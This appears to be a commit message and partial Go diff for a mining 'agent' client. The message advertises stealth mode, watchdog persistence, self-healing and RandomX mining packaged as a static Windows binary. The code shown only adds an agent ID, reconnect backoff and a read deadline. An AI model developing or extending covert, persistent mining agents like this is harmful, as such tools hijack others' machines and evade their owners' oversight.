Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/client/client.go

@@ -35,6 +35,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
 		cfg:       cfg,
 		reporter:  stats.NewReporter(),
 		startTime: time.Now(),
+		agentID:   cfg.AgentID,
 	}
 }
 
@@ -44,11 +45,22 @@ func (c *AgentClient) Run() error {
 	c.pool.Start()
 	defer c.pool.Stop()
 
+	backoff := 5 * time.Second
+	const maxBackoff = 60 * time.Second
+
 	for {
+		start := time.Now()
 		if err := c.connectLoop(); err != nil {
 			log.Printf("[agent] disconnected: %v", err)
 		}
-		time.Sleep(5 * time.Second)
+		if time.Since(start) > 10*time.Second {
+			backoff = 5 * time.Second
+		}
+		time.Sleep(backoff)
+		backoff += 5 * time.Second
+		if backoff > maxBackoff {
+			backoff = maxBackoff
+		}
 	}
 }
 
@@ -75,6 +87,7 @@ func (c *AgentClient) connectLoop() error {
 	defer close(statsStop)
 
 	for {
+		conn.SetReadDeadline(time.Now().Add(90 * time.Second))
 		_, data, err := conn.ReadMessage()
 		if err != nil {
 			return err